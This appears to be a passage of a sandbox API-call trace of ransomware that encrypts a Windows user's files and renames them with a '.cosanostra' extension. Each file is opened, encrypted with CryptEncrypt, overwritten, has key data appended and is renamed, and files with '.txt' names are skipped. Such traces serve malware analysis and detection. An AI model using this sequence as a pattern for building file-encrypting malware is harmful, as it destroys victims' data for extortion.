hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7e8*=0x30) returned 1 [0089.822] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.822] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned 84 [0089.822] StrStrW (lpFirst="Microsoft At Home.url", lpSrch=".txt") returned 0x0 [0089.823] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.823] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff7ac*=0x85, lpOverlapped=0x0) returned 1 [0089.823] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.823] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x26ff7ec*, lpNumberOfBytesWritten=0x26ff7ac*=0x4, lpOverlapped=0x0) returned 1 [0089.823] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7ac*=0x30, lpOverlapped=0x0) returned 1 [0089.823] CloseHandle (hObject=0x180) returned 1 [0089.823] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.cosanostra")) returned 1 [0089.824] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7e8 | out: pbBuffer=0x26ff7e8) returned 1 [0089.824] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7e0*=0x30) returned 1 [0089.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.824] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned 91 [0089.824] StrStrW (lpFirst="IE site on Microsoft.com.url", lpSrch=".txt") returned 0x0 [0089.825] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.825] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff7a4, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff7a4*=0x85, lpOverlapped=0x0) returned 1 [0089.825] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.825] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7a4, lpOverlapped=0x0 | out: lpBuffer=0x26ff7e4*, lpNumberOfBytesWritten=0x26ff7a4*=0x4, lpOverlapped=0x0) returned 1 [0089.825] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7a4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7a4*=0x30, lpOverlapped=0x0) returned 1 [0089.825] CloseHandle (hObject=0x180) returned 1 [0089.825] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.cosanostra")) returned 1 [0089.826] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7e8 | out: pbBuffer=0x26ff7e8) returned 1 [0089.826] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7e0*=0x30) returned 1 [0089.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.826] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned 81 [0089.826] StrStrW (lpFirst="IE Add-on site.url", lpSrch=".txt") returned 0x0 [0089.827] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.827] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff7a4, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff7a4*=0x85, lpOverlapped=0x0) returned 1 [0089.827] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.827] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7a4, lpOverlapped=0x0 | out: lpBuffer=0x26ff7e4*, lpNumberOfBytesWritten=0x26ff7a4*=0x4, lpOverlapped=0x0) returned 1 [0089.827] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7a4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7a4*=0x30, lpOverlapped=0x0) returned 1 [0089.827] CloseHandle (hObject=0x180) returned 1 [0089.827] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.cosanostra")) returned 1 [0089.887] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7e0 | out: pbBuffer=0x26ff7e0) returned 1 [0089.887] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7d8*=0x30) returned 1 [0089.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\P1wA_6rri8B.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\p1wa_6rri8b.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.887] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\P1wA_6rri8B.odt") returned 75 [0089.887] StrStrW (lpFirst="P1wA_6rri8B.odt", lpSrch=".txt") returned 0x0 [0089.888] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.888] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff79c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff79c*=0x2800, lpOverlapped=0x0) returned 1 [0089.888] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.888] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff79c, lpOverlapped=0x0 | out: lpBuffer=0x26ff7dc*, lpNumberOfBytesWritten=0x26ff79c*=0x4, lpOverlapped=0x0) returned 1 [0089.888] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff79c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff79c*=0x30, lpOverlapped=0x0) returned 1 [0089.888] CloseHandle (hObject=0x180) returned 1 [0089.888] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\P1wA_6rri8B.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\p1wa_6rri8b.odt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\P1wA_6rri8B.odt.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\p1wa_6rri8b.odt.cosanostra")) returned 1 [0089.889] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7d8 | out: pbBuffer=0x26ff7d8) returned 1 [0089.889] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7d0*=0x30) returned 1 [0089.889] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\GVW8gN24UC.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\gvw8gn24uc.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.890] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\GVW8gN24UC.pptx") returned 75 [0089.890] StrStrW (lpFirst="GVW8gN24UC.pptx", lpSrch=".txt") returned 0x0 [0089.890] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffe096, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.890] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x1f6a, lpNumberOfBytesWritten=0x26ff794, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff794*=0x1f6a, lpOverlapped=0x0) returned 1 [0089.891] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.891] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff794, lpOverlapped=0x0 | out: lpBuffer=0x26ff7d4*, lpNumberOfBytesWritten=0x26ff794*=0x4, lpOverlapped=0x0) returned 1 [0089.891] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff794, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff794*=0x30, lpOverlapped=0x0) returned 1 [0089.891] CloseHandle (hObject=0x180) returned 1 [0089.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\GVW8gN24UC.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\gvw8gn24uc.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\GVW8gN24UC.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\gvw8gn24uc.pptx.cosanostra")) returned 1 [0089.891] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7d8 | out: pbBuffer=0x26ff7d8) returned 1 [0089.891] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7d0*=0x30) returned 1 [0089.891] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\eon26 h_vC8P.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\eon26 h_vc8p.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.892] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\eon26 h_vC8P.pptx") returned 77 [0089.892] StrStrW (lpFirst="eon26 h_vC8P.pptx", lpSrch=".txt") returned 0x0 [0089.892] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.892] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff794, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff794*=0x2800, lpOverlapped=0x0) returned 1 [0089.893] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.893] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff794, lpOverlapped=0x0 | out: lpBuffer=0x26ff7d4*, lpNumberOfBytesWritten=0x26ff794*=0x4, lpOverlapped=0x0) returned 1 [0089.893] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff794, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff794*=0x30, lpOverlapped=0x0) returned 1 [0089.893] CloseHandle (hObject=0x180) returned 1 [0089.893] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\eon26 h_vC8P.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\eon26 h_vc8p.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\eon26 h_vC8P.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\eon26 h_vc8p.pptx.cosanostra")) returned 1 [0089.898] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7d0 | out: pbBuffer=0x26ff7d0) returned 1 [0089.898] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7c8*=0x30) returned 1 [0089.898] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\DMH8w9dQMeykVB.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\dmh8w9dqmeykvb.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.898] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\DMH8w9dQMeykVB.pdf") returned 78 [0089.898] StrStrW (lpFirst="DMH8w9dQMeykVB.pdf", lpSrch=".txt") returned 0x0 [0089.899] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.899] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff78c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff78c*=0x2800, lpOverlapped=0x0) returned 1 [0089.899] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.899] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff78c, lpOverlapped=0x0 | out: lpBuffer=0x26ff7cc*, lpNumberOfBytesWritten=0x26ff78c*=0x4, lpOverlapped=0x0) returned 1 [0089.899] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff78c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff78c*=0x30, lpOverlapped=0x0) returned 1 [0089.899] CloseHandle (hObject=0x180) returned 1 [0089.900] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\DMH8w9dQMeykVB.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\dmh8w9dqmeykvb.pdf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\DMH8w9dQMeykVB.pdf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\dmh8w9dqmeykvb.pdf.cosanostra")) returned 1 [0089.900] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7d0 | out: pbBuffer=0x26ff7d0) returned 1 [0089.900] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7c8*=0x30) returned 1 [0089.900] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\cElxiM5vDoh.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\celxim5vdoh.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.900] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\cElxiM5vDoh.pps") returned 75 [0089.901] StrStrW (lpFirst="cElxiM5vDoh.pps", lpSrch=".txt") returned 0x0 [0089.901] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.901] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff78c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff78c*=0x2800, lpOverlapped=0x0) returned 1 [0089.901] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.901] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff78c, lpOverlapped=0x0 | out: lpBuffer=0x26ff7cc*, lpNumberOfBytesWritten=0x26ff78c*=0x4, lpOverlapped=0x0) returned 1 [0089.902] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff78c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff78c*=0x30, lpOverlapped=0x0) returned 1 [0089.902] CloseHandle (hObject=0x180) returned 1 [0089.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\cElxiM5vDoh.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\celxim5vdoh.pps"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\cElxiM5vDoh.pps.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\celxim5vdoh.pps.cosanostra")) returned 1 [0089.902] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7c8 | out: pbBuffer=0x26ff7c8) returned 1 [0089.902] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7c0*=0x30) returned 1 [0089.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w-YNt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w-ynt.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.903] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w-YNt.pptx") returned 54 [0089.903] StrStrW (lpFirst="w-YNt.pptx", lpSrch=".txt") returned 0x0 [0089.903] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.903] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff784, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff784*=0x2800, lpOverlapped=0x0) returned 1 [0089.903] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.903] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff784, lpOverlapped=0x0 | out: lpBuffer=0x26ff7c4*, lpNumberOfBytesWritten=0x26ff784*=0x4, lpOverlapped=0x0) returned 1 [0089.903] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff784, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff784*=0x30, lpOverlapped=0x0) returned 1 [0089.903] CloseHandle (hObject=0x180) returned 1 [0089.904] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w-YNt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w-ynt.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w-YNt.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w-ynt.pptx.cosanostra")) returned 1 [0089.904] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7c8 | out: pbBuffer=0x26ff7c8) returned 1 [0089.904] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7c0*=0x30) returned 1 [0089.904] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v-D-FE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v-d-fe.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.904] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v-D-FE.xlsx") returned 55 [0089.904] StrStrW (lpFirst="v-D-FE.xlsx", lpSrch=".txt") returned 0x0 [0089.905] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.905] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff784, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff784*=0x2800, lpOverlapped=0x0) returned 1 [0089.905] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.905] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff784, lpOverlapped=0x0 | out: lpBuffer=0x26ff7c4*, 